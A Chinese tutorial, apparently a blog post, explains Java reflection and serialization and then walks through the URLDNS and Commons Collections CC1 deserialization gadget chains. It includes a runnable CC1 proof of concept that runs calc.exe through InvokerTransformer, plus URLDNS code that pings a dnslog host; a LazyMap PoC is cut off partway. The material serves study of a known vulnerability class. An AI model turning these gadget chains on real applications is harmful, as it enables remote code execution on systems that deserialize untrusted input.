要想学习java反序列化的漏洞,就要先知道什么是反序列化,要知道什么是反序列化,就又要知道什么是反射,反射使得java多了一些动态特性,使得java的代码编写更加灵活,但也多了一些漏洞点
反射
什么是反射?
反射 就是在程序运行时, 动态的获取一个类的完整信息,并且可以直接通过这些信息对对象的属性进行操作,或者对方法进行调用的机制。
举个例子:
在通常情况下,对一个对象进行操作是这样的
java
public class Main {
public static void main(String[] args) {
Person person = new Person();
System.out.println(person.getFullName());
}
}
我们需要知道这个对象的类型,才能知道里面有什么方法可以调用,有什么属性可以操作。但是在有的情况下,我们不知道一个实例的类型是什么样的(比如spring的依赖注入,以及后面要进行的反序列化),这个时候就需要反射进行登场了。
一、反射的核心概念
反射的核心思想是"运行时类型信息":
在编译的时候 java 编译器只知道对象的 静态类型 :
在运行时,JVM 会为每个已加载的类维护一个 java.lang.Class 对象,通过该对象可以获取类的完整信息(完整元数据)
二、反射的底层原理
要理解 java 的反射,还需要先理解 JVM 的类加载机制:
1、类加载过程
- 当程序第一次使用某一个类的时候,JVM 会通过
类加载器 (ClassLoader)将.class文件加载到内存的方法区 - 同时 JVM 会在堆区 创建一个对应的
java.lang.Class对象,该对象封装了类的所有元数据(字段表、放发表、构造器等)。
2、反射的本质
反射就是通过这个 Class 对象,反向读取方法区当中的类元数据,并且动态调用 Unsafe 或者 JNI 接口来操作对象或者执行方法。
三、反射的核心 API
反射主要涉及 java.lang.reflect 以下四个核心类:
| 类名 | 作用 |
|---|---|
| Class | 代表一个类的"元对象" |
| Field | 代表类的成员变量(字段) |
| Method | 代表一个类的方法 |
| Constructor | 代表一个类的构造器 |
四、反射的基本使用步骤
下面是 Person 类,四个例子都是使用的这个
java
public class Person {
public String name;
private int age;
public Person() {}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getFullName() {
return "Person";
}
private String say(String sentence){
return name + " say: " +sentence;
}
@Override
public String toString() {
return name + " " + age;
}
}
1、获取 Class 对象
获取 Class 对象有三种方法:
java
public class Main {
public static void main(String[] args) throws ClassNotFoundException {
// 1、通过类名.class获取,会在编译阶段进行检查
Class<?> clazz1=Person.class;
// 2、通过对象的 getClass() 方法获取
Person person = new Person();
Class<?> clazz2=person.getClass();
// 3、通过 Class.forName("全限定类名") 获取,最常用,动态加载,并且会对类进行初始化(调用静态代码块)
Class<?> clazz3=Class.forName("com.geo.Person");
}
}
2、通过反射创建对象
反射创建对象也有两种方式
java
public class Main {
public static void main(String[] args) throws InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Class<?> clazz = Person.class;
// 1、通过无参构造函数创建,前提是该类必须要有无参构造函数
Person person = (Person)clazz.newInstance();
// 2、先获取构造器,再创建对象
Constructor<?> constructor = clazz.getConstructor();
Person person1= (Person) constructor.newInstance();
}
}
3、通过反射操作字段
java
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz=Person.class;
Person person=new Person("zs",18);
// 获取public的字段,包括继承的字段
Field nameField=clazz.getField("name");
nameField.set(person,"ls");
// 获取所有字段,包括private,但不包括继承的
Field ageField=clazz.getDeclaredField("age");
// 必须设置,否则访问不了私有属性
ageField.setAccessible(true);
ageField.set(person,20);
System.out.println(person);
}
}
可以看到输出结果:

4、通过反射调用方法
java
public class Main {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Class<?> clazz=Person.class;
Person person=new Person("zs",18);
// 获取 public 方法
Method getFullNameMethod = clazz.getMethod("getFullName");
String fullName = (String)getFullNameMethod.invoke(person);
System.out.println(fullName);
// 获取 private 方法
Method getSayMethod = clazz.getDeclaredMethod("say",String.class);
// 同理,私有方法需要设置
getSayMethod.setAccessible(true);
String whatSay =(String) getSayMethod.invoke(person, "hello");
System.out.println(whatSay);
}
}
同样的可以看到以下的结果:

其实 java 反射还有很多东西,这里就不展开叙述了,读者如果有时间的话,可以多去看看相关内容
在大部分安全研究中,使用反射的目的,就是绕过一些沙盒,比如、上下文如果只有 Interger 类型,我们可以通过 反射来获取到我们想要的类,这里以 Runtime 类为例子:
java
public class Main {
public static void main(String[] args) throws ClassNotFoundException {
Class<?> aClass = Integer.class.forName("java.lang.Runtime");
System.out.println(aClass);
}
}
你把这段代码写入 idea 中,会发现有报错提示,但是依旧能够编译执行,并且输出就是我们获得的 Runtime 类
!Note\] 提示 Runtime类是java中少有的可以和环境进行交互的入口。除了Runtime以外,还有ProcessBuilder和ProcessHandle,这些类都和 jvm 相关。
反序列化
序列化,就像是玩游戏时对游戏数据进行保存一样,将内存中的对象转换为可以保存的文件,反序列化就像是读档,将保存的文件转换为内存中的对象,这个概念在编程语言中是通用的,但是其中的过程可能有些不同。
在php中,反序列化时会执行 __wakeup() 的内容,执行过程是如何对这个对象进行初始化,(查看php序列化后的数据也可以推理得出,php序列化没有保存对象的数据)。而 java 的序列化和反序列化则是还原一个完整的对象,包括数据,方法等,这也使得java的序列化和反序列化对比php来说要难很多。
下面是一个简单的demo,来体现java序列化和反序列化:
User 类,后面都用这个类做例子
java
public class User implements Serializable {
/**
* 实现了Serializable接口的类才能被实例化,但是这个接口没有需要实现的方法
*/
private String name;
private int age;
public User() {}
public User(String name,int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return name+" is "+age+" years old";
}
}
java
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"));
oos.writeObject(new User("zs",18));
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"));
User user =(User) ois.readObject();
ois.close();
System.out.println(user);
}
}
可以查看一下 user.ser 文件

对比php序列化的文件,能够看出,文件内容除了 类的元数据以外,还有一些其他东西,这些东西就是类的属性数据:
- 对象的类型信息(类名、serialVersionUID 等)
- 对象的非
transient实例字段值 - 递归包含的关联对象数据
看一下输出:

我们在反序列化之前并没有做太多其他的操作,那么也可以推测,文件中包含了类的元数据以外的信息。
java 序列化的时候(JVM)会调用 wirteObject 方法(不是Serializable接口定义的),该方法用于定义如何将对象写入字节流,这使得我们可以在序列化流中插入一些我们定义的数据 ,在反序列化的时候使用 readObject 从字节流中恢复对象
再在 user 类中写一下 writeObject 和 readObject 查看一下调用
java
private void writeObject(ObjectOutputStream out) throws IOException {
System.out.println("writeObject 被调用");
out.defaultWriteObject();
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
System.out.println("readObject 被调用");
in.defaultReadObject();
}
输出如下内容:

可以看到,writeObject 和 readObject 被调用了。
我们再添加一些操作,来达到 "篡改数据" 的目的:
java
private void writeObject(ObjectOutputStream out) throws IOException {
System.out.println("writeObject 被调用");
out.defaultWriteObject();
out.writeObject(1);
out.writeObject("hello");
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
System.out.println("readObject 被调用");
in.defaultReadObject();
Integer n1 = (Integer) in.readObject();
String world = (String) in.readObject();
System.out.println(n1+" "+world);
}
看一下输出:

我们在 writeObject 中插入的 String 对象,按照顺序在readObject中被读取了出来,再来看看 user.ser 文件

(为了方便查看,这里换行了)
其中 hello,world,User前面都有相似的标志,那么插入的 两个String 是否都是独立于 User 插入的呢?确实是独立于 User 插入的,所以在反序列化的时候,我们还得按照序列化顺序将 两个String分别读出,否者会造成 StreamCorruptedException 指针错误,也就是下面的错误:
java
Exception in thread "main" java.io.StreamCorruptedException: invalid type code: 00
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1700)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
at com.geo.serialize.User.readObject(User.java:44)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461)
at com.geo.serialize.Main.main(Main.java:18)
下面是一个错误的例子举例:
java
private void writeObject(ObjectOutputStream out) throws IOException {
System.out.println("writeObject 被调用");
out.defaultWriteObject();
out.writeObject(1);
out.writeObject("hello");
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
System.out.println("readObject 被调用");
Integer n1 = (Integer) in.readObject();
String world = (String) in.readObject();
in.defaultReadObject();
System.out.println(n1+" "+world);
}
这个例子中,序列化顺序没有一一对应,就会报错。在其中,in.defaultReadObject 对应的 out.defaultWriteObject 就是我们默认要序列化的对象最后会返回给字节流。
通过上面的例子不难发现,java的序列化、反序列化是相对于php来说较为灵活的,既能修改对象数据,又能控制序列化,反序列化顺序。相较起来,java的反序列化漏洞,也就要好利用一些,事实上也是如此,java的反序列化漏洞是很严重的,所以在日常编写java序列化的时候,推荐使用完整的框架,比如 Jackson,Protocol Buffers
ysoserial
一个帮助我们快速生成利用链(gadget chains)的工具,下面是github开源地址,这里就不过多赘述了
URLDNS
URLDNS 是 ysoserial 中提供的一个无依赖,无回显,无命令执行的 java 反序列化 gadget chains,是 java 反序列化漏洞中必学的第一个链,它不能够执行命令,但是可以准确的证明目标是否存在反序列化漏洞。
(后面用到的环境为了避免出错,都用 jdk 1.8)
下面是 urldns 中使用到的关键代码解析:
URL 类的hashCode 缓存机制:
java
// hash 值缓存,初始为 -1
private int hashCode = -1;
public synchronized int hashCode() {
// 如果 hashCode 不等于-1,即代表以前计算过 hash 值,那么直接返回
if (hashCode != -1)
return hashCode;
// 计算 hashCode 返回,计算的时候还会发起 dns 请求
hashCode = handler.hashCode(this);
return hashCode;
}
下面写一个简单的例子测试:
java
public class URLDNSTest {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://izyr8s.dnslog.cn");
HashMap<URL, Integer> urlMap = new HashMap<>();
// 第一次执行的时候 hashCode 为-1,执行 hashCode 发送 DNS 请求
urlMap.put(url, 5);
System.out.println("执行完成");
}
}
在执行过程中发现会等待一小会,这里就可以猜出来有在等待,大概率就是进行 dns 请求了,等到提示词出现后去 dnslog 网站查看:

确实发送了 DNS 请求
hashMap反序列化逻辑:
java
private void readObject(ObjectInputStream s)throws IOException, Class NotFoundException{
// ... 省略其他代码
for(int i=0;i<mappings;i++){
K key = (K) s.readObject();
V value = (V) v.readObject();
// 重新计算 key 相关的 hashCode 的值,放入HashMap
putVal(hash(key),key,value,false,false);
}
}
我们再来看看 URLDNS 的源码:
java
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
// 使用 自定义 handler 避免构造阶段就发送了 dns 请求,影响结果
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
// 放入 hashMap,但是因为这里是空实现,并不会发送请求
ht.put(u, url);
// 清除 hashCode 缓存,使得反序列化的时候可以执行 hashCode 发送 dns 请求
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
其核心原理就是 HashMap 反序列化的时候自动计算所有 key 的hasCode,而 URL 类的 hashCode 会发起DNS查询请求,当DNS服务器接收到了这个请求就代表存在反序列化漏洞,但是并不能证明可以RCE
下面是完整的调用链:
java
ObjectInputStream.readObject();
↓
HashMap.readObject();
↓
HashMap.putVal(); // 把反序列化出来的数据重新放入 hashMap
↓
HashMap.hash(key); // key 如果是 URL 对象,则会调用 url对象的 hashCode 发送 dns 请求
↓
URLStreamHandler.hashCode();
↓
URLStreamHandler.getHostAddress();
↓
InteAddress.getByName();
↓
发起 DNS 请求
那么我们可以按照上面的调用链,写一个简单的 payload:
java
public class URLDNSTest {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
// 序列化
URL url = new URL("http://l953v3.dnslog.cn");
HashMap<URL,Integer> urlMap = new HashMap<>();
Class<? extends URL> urlClass = url.getClass();
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 必须要在put之前修改一次,避免发送 dns 请求,使得反序列化的时候命中缓存,导致结果不符合预期
hashCode.set(url,114514);
urlMap.put(url,114514);
hashCode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
oos.writeObject(urlMap);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.ser"));
Object o = ois.readObject();
ois.close();
System.out.println("执行完成");
}
}
分开执行序列化和反序列化部分,方便观测结果
两次查看 dnslog 能很清楚的看到序列化的时候没有发送 dns 请求(结束得也要快一些),反序列化的时候发送了 dns 请求。那么我们看到了结果,就来追一下代码吧,因为是从 hashMap 开始的,我们就从 hashMap.readObject() 开始追,给关键路径打上断点:
1、HashMap.readObject

2、HashMap.hash

3、URL.hashCode

4、URLStreamHandler.hashCode

5、URL.getHostAddress

接下来就是愉快的 debug 时间啦!(因为之前的payload是保存在文件中的,所以debug时只用执行反序列化的代码即可了)
因为这部分比较繁琐,且图片太多,博主偷点懒就放上来了,请读者大大多多包涵,自己还是手动写一下 orz
我们在debug的过程中,可以看到,代码按照我们的想法去执行了,就像下面的思维导图一样:

CC链
CC链 全称为Apache Commons Collections 链,是java 反序列化漏洞中的经典,应用最广泛的利用链,也是java 安全研究的一个里程碑。apache官方对其进行了修复,如果要复现,推荐使用 Apache Commons Collections 3.2.1 版本及其以下(请读者自行解决版本相关的问题)
核心原理
CC链的利用,就是通过构造特定的 ACC(Apache Commons Collections) 库实例,将恶意代码植入到反序列化流程中,当目标应用程序对恶意序列化数据进行反序列化时,就会触发ACC类库中预设的恶意代码调用链,最终执行攻击者的恶意代码。
java 反序列化漏洞的利用前提是类重写了 readObject 方法,并且该方法中存在可控的危险操作,CC链的核心思路是:
- 利用ACC库中实现了
Serializable接口的类 - 这些类的 readObject 方法或者其他关联方法(比如 transform、get)会调用其他方法,形成方法调用链
- 将
InvokeTransform等可执行任意反射方法的类植入链中 - 最终让反序列化过程最终触发
Runtime.exec等危险方法
关键组件
| 组件 | 作用 |
|---|---|
| InvokerTransformer | 核心执行器,可以通过反射调用任意对象的任意方法 |
| ChainedTransformer | 链式执行器,可按照顺序执行多个Transformer |
| ConstantTransformer | 返回一个固定常量值,用于获取初始类对象 |
| TransformedMap/LazyMap | 触发点、在特定操作时调用 Transformer 链 |
| AnnotationInvocationHandler/TideMapEntry | 反序列化入口,重写了 readObject 方法 |
主要 CC 链的版本对比
| 链名 | 核心触发类 | 使用 ACC 版本 | 使用 jdk 版本 | 特点 |
|---|---|---|---|---|
| CC1 | AnnotationInvocationhandler +TransformedMap | 3.1~3.2.1 | <=8u71 | 最容易理解的一个版本,学习cc链的门槛 |
| CC3 | LazyMap+TrAXFilter | 3.1~3.2.1 | <=8u71 | 通过字节码加载执行,比起 CC1 来说更不容易被发现 |
| CC5 | BadAttributeValueExpException +TiedMap | 3.1~3.2.1 | 全版本 | 通过toString()触发 |
| CC6 | HashSet+TiedMapEntry+LazyMap | 3.1~3.2.1 | 全版本 | 通杀链,最常用 |
| CC7 | HashTable+LazyMap | 3.1!3.2.1 | 全版本 | 利用哈希碰撞触发,检测绕过能力强 |
| 下面我们就以CC1和CC6为例子,讲解一下 |
CC1
CC1 是第一个被公开的CC链,它奠定了 "反序列化入口 -> 链式调用 -> 反射执行命令" 的经典利用范式,我们先从 p 神的一个demo开始学习:
java
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
这里有一些关键的接口和类,我么来看看:
Transformer
Transform 接口是 Apache Commons Collections (3.x)的一个函数接口,用来对输入的数据进行转换,输出新的数据,它是反序列化漏洞的 "核心" ,因为它的很多实现类都具有反射调用任意方法的能力,比如(InvokeTransform),下面是该接口的代码:
java
public interface Transformer {
Object transform(Object var1);
}
然后这个 demo 中,使用到的 InvokTransform 的实现是下面这样的:
java
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
// 这里可以看到我们反射的老朋友,从而执行任意方法
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
它有很多用法,希望读者能够自行学习
TransformedMap
这是一个装饰器模式的Map,当调用setValue、put、putAll、方法的时候,会自动调用对键或值预设的 Transform。这个预设的 Transform 是可控的,于是我们可以使用来执行我们想要执行的代码,下面是一个使用示例:
java
public class Transforms {
public static void main(String[] args) {
HashMap<Integer, Integer> map00 = new HashMap<>();
Transformer keyTransformer = new Transformer(){
@Override
public String transform(Object object){
return object.toString()+" -- this is key";
}
};
Transformer valueTransformer = new Transformer(){
@Override
public String transform(Object object){
return object.toString()+" -- this is value";
}
};
Map map01 = TransformedMap.decorate(map00,keyTransformer,valueTransformer);
map01.put("KEY","VALUE");
System.out.println(map01);
}
}
输出结果如下:

可以看到,我们通过自定义transform方法,来达到了修改key和value的目的
ConstantTransform
ConstantTransform 是实现了Tranform接口的一个类,它是一个用来返回固定值的一个转换器,无论输入什么都返回一个固定的对象,方便进行后面的操作,它的核心代码如下:
java
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
ChainedTransform
ChainedTransform是一个链式调用器,用于把很多Transform连起来,前一个Transform的返回值,作为下以恶搞Transform的参数,核心代码如下:
java
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
那么总结一下上面的关键接口和类,我们就能理解 p神 的 demo了:
使用 ConstantTransformer 获取 Runtime 实例,使用 InvokeTransformer 执行 exec 方法,接着使用 ChainedTransformer 进行链接,然后使用 TransformMap 进行包装,最后在 put 的时候触发。
不够还有一个问题存在,我们 cc链 是反序列化利用的漏洞,我们这里没有使用到反序列化啊?因为 Runtime.class 并没有实现 Serializable 接口,所以是不能够直接序列化的。那要怎么实现序列化呢?我们就要去寻找一个在 readObject 的利用点,于是就有了AnnotationInvocationHandler 的利用
AnnotationInvocationHandler
这是 java 用来实现动态注解的,是 jdk 的原生类,但是因为它重写了 readObject ,且在反序列化的时候会自动遍历 memberValues 和调用 Map.Entry.setValue 所以就成为了我们的利用点,不过这个利用点已经在 8u72 版本中修复了,下面是简化后的核心代码:
java
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
Object var2 = null;
try {
// 读取注解的类型
var10 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
// 读取序列化的类型放到一个临时的 Map,避免直接操作,污染数据
Map var3 = var10.memberTypes();
for(Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
// 如果 序列化的目标中 到的有这个类型,就将其实例化,并放到 map 中,也是我们的触发点
// 这也是为什么要选Retention.class的原因,因为它的值为 value ,我们取key为value的时候不会导致 var7 为 null
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
}
}
}
}
那么必要条件已经准备好了,我们就可进行构造 POC 了
POC 构造
java
public class MyCC1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 构造恶意 transform 链
Transformer[] transformers = new Transformer[] {
// 需要通过 Runtime.class 获取到 Class类,因为 Runtime 没有实现 Serializable 接口
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 构造 TransformedMap HashMap<String,String> innerMap = new HashMap<>();
// 必须是value为key,
innerMap.put("value","test");
Map outMap = TransformedMap.decorate(innerMap,null,chainedTransformer);
// 构造 AnnotationInvocationHandler 实例
// 因为 AnnotationIvocationHandler 是 jdk 内部类不能够直接使用,所以使用反射获取
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// 使用 Retention ,因为他有一个 value 属性,对应 put 进去的 key Object annotationInvocationHandler = constructor.newInstance(Retention.class,outMap);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("mycc1.ser"));
oos.writeObject(annotationInvocationHandler);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("mycc1.ser"));
ois.readObject();
ois.close();
System.out.println("执行完成");
}
}
成功运行 calc.exe :

请注意版本!!!需要是 jdk1.8u71及以下,如果版本过高会运行失败哦(博主用的8u66),还请读者自行查找资源
这里放一个官方资源:
Java Archive Downloads - Java SE 8
核心原理
利用 AnnotationInvocationHandler 反序列化的时候会自动调用 Map.Entry.setValue 的特性,触发 TransformMap 中预设的恶意 Transform 调用链,最终通过 InvokeTransform 反射执行Runtime.exec ,下面是完整的调用链
java
ObjectInputStream.readObject()
↓
AnnotationInvocationHandler.readObject() // 反序列化入口
↓
Map.Entry.setValue() // 遍历 Map 的时候恢复键值对时自动调用
↓
TransformedMap.setValue() // commons collectons 类调用其他 transform
↓
ChainedTransformer.transform() // 链式执行多个 Transform
↓
ConstantTransformer.transform() // 获取 Runtime.class
↓
InvokerTransformer.transform() // 反射调用 getMethod
↓
InvokerTransformer.transform() // 反射调用 invoke 获取 Runtime 实例
↓
Invokertransformer.transform() // 反射调用exec 执行命令
↓
Runtime.exec()
基本的CC1差不多就是这些了,但是在使用过程中,读者会发现,用起来比较操蛋,我的 calc 怎么没有运行?因为在高版本中 AnnotationInvocationHandler 被修改了,导致我们构建的 TransformedMap 失效了,于是我们要寻找其他办法来做,yso中使用到了一个 LazyMap,我们也尝试使用一下
!note\] 小提示 比较高的版本中 AnnotationInvocationHandler 使用了新的 LinkdeHashMap,后续的操作也大都是基于这个 map 进行的,导致我们的 transfomer 失效了。
LazyMap
LazyMap 是 Commons Collections 中的另外一个 Map 装饰器,它的设计初衷是 延迟加载 ,当使用get方法获取一个不存在的 key 的时候,会 自动调用预设的 Transformer 生成 value 并存入 map
写过cpp的map同学大概有些体会这个过程(写算法的时候被坑)
他的触发点是 get 方法,而不是 setValue ,在某些场景下更加稳定,后面的CC3,CC6,CC7都是使用的这个,我们可以尝试写一个简单的 demo 体验一下
java
public class LazyMap00 {
public static void main(String[] args) {
Transformer transforms = new Transformer(){
@Override
public Object transform(Object o) {
return o.toString()+" 喵~";
}
};
Map lazyMap = LazyMap.decorate(new HashMap(), transforms);
System.out.println(lazyMap.get("关注taffy"));
}
}
输出如下:

可以看到,我们并没有put任何数据,get一个不存在的值的时候,直接执行了 transform,我们可以来看看 LazyMap 的源码:
java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
可以看到,get方法异常简单,存在就直接返回,如果不存在就调用 factory.transform,这个 transform 又是我们可控的。
那么接下来,我们就需要找到 readObject 里面调用了 get 方法的,这样就可以触发我们的 transformer 链
恭喜你找到了CC6
因为我们这里是研究 CC1 的,所以就不是直接去找 readObject 里面的 get ,而是通过 AnnotationInvocation.invoke 调用,会绕一圈,使得 LazyMap的后续利用麻烦一些。
那么我们的问题就变成了如何调用 AnnotationInvocationHandler.invoke 了。
又因为 AnnotationInvocationHandler 的设计初衷是为了 java的动态代理注解 。
那什么又是 动态代理 呢?
动态代理就是在运行时动态创建一个接口的实现类,当调用这个代理对象的方法的时候,会自动转发给 AnnotationInvocationHandler.invoke 处理,所以我们调用的方法就要转到动态代理了
动态代理
在讲动态代理前,我们还需要搞懂什么是代理模式
举一些生活中的例子:
- 代购:当又朋友去其他地方的时候,你会请他帮你买点那个地方的特产
- 中介:想要租房时,直接找房东比较麻烦,你请一个中介来帮你对接
- 快递站 :很多时候当面取快递比较麻烦,快递员可以先把快递放在快递站,然后你去快递站取就行了
这些 "代理"' 帮我们省去了很多麻烦的 "过程",但是使得结果和预期一致
那么在程序中,也是类似的,其核心思想如下:
给目标对象提供一个代理对象,由代理对象控制对目标对象的访问
这样做可以得到以下的好处:
- 可以在不修改目标代码的情况下,增强功能,比如添加日志,添加事务,权限控制等等
- 可以 控制访问 ,比如延迟访问,缓存结果
直接这么说,可能还不太好理解,那我们先来看看静态代理:
静态代理
先定义一个 Userservice 接口,代表用户服务
java
public interface Userservice{
void addUser(String name);
}
然后定义 UserserviceImpl 实现类,作为目标对象
java
public class UserserviceImpl implements Userservice{
@Override
void addUser(String name){
System.out.println("添加用户"+name);
}
}
定义一个 UserserviceProxy 代理类,也实现 Userservice 接口
java
public class UserserviceProxy implements Userservice{
private final Userservice target;
public UserservieProxy(Userservice target){
this.target=target;
}
@Override
void addUser(String name){
System.out.println("准备添加用户"+name);
target.addUser(name);
System.out.println("添加用户完成"+name);
}
}
接下来测试一下:
java
public static void main(String[] args){
Userservice target = new UserserviceImpl();
UserserviceProxy proxy = new UserserviceProxy(target);
proxy.addUser("taffy");
}
就会以下的输出结果:
java
准备添加用户taffy
添加用户taffy
添加用户完成taffy
按照这个例子可以看出来,静态代理的缺点:
- 每个目标都需要写一个专门的代理类
- 如果接口增加了新的方法,目标类和代理类都需要进行修改,维护成本高
比如我们现在写一个 ManagerService 接口,也需要添加日志,那么就还得些一个 ManagerServiceProxy,这些代码和 UserServiceProxy 几乎一摸一样,导致代码冗余
正好,动态代理就是解决这个问题的
动态代理实现
java 原生提供了动态代理的原生支持,核心是两个类:
- java.lang.reflect.proxy 用来创建动态代理对象
- java.lang.reflect.InvocationHandler 用来处理方法调用,这是一个接口
动态代理对象 在运行时动态生成对象,不需要提前写好类。
每个动态代理对象都有一个 InvocationHandler ,当调用代理对象的时候,会自动转发给 InvocationHandler.invoke
我们可以写一个通用的 LogInvocationHandler,实现 InvocationHandler 接口,用来给所有的接口添加日志
(动态代理的逻辑是和静态代理差不多的)
java
public class LogInvocationHandler implements InvocationHandler {
private final Object target;
public LogInvocationHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 执行的准备工作
System.out.println("=== 准备调用 "+method.getName()+" 方法");
if(args!=null && args.length > 0) {
System.out.println("=== 方法参数: "+ args.toString());
}
// 执行记录
long begin = System.currentTimeMillis();
Object result = method.invoke(target, args);
long end = System.currentTimeMillis();
// 执行收尾工作
System.out.println("=== 调用完成,执行耗时:"+(end-begin)+" ms");
return result;
}
}
然后使用 Proxy 创建动态代理对象
java
public class ProxyMain {
public static void main(String[] args) {
// 创建目标对象
UserService userTarget = new UserServiceImpl();
// 创建 InvocationHandler,把目标传入
LogInvocationHandler userHandler = new LogInvocationHandler(userTarget);
// 使用 Proxy 创建动态代理对象
UserService userProxy = (UserService) Proxy.newProxyInstance(
// 类加载器
userTarget.getClass().getClassLoader(),
// 目标对象的实现接口
userTarget.getClass().getInterfaces(),
userHandler
);
// 调用
userProxy.addUser("taffy");
// 假设还有一个类需要实现日志功能
ManagerServiceImpl managerTarget = new ManagerServiceImpl();
LogInvocationHandler managerHandler = new LogInvocationHandler(managerTarget);
ManagerService managerProxy = (ManagerService) Proxy.newProxyInstance(
managerTarget.getClass().getClassLoader(),
managerTarget.getClass().getInterfaces(),
managerHandler
);
managerProxy.deleteUser("taffy");
}
}
interface ManagerService {
public void deleteUser(String name);
}
class ManagerServiceImpl implements ManagerService {
@Override
public void deleteUser(String name) {
System.out.println("删除用户: " + name);
}
}
可以很清楚的看见我们只用一个 handler 就实现了两个类的日志记录,比起静态代理方便了许多,那么我们接下来就实现 LazyMap 的 Poc 构造吧
POC 构造
java
private static void cc1_LazyMap() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
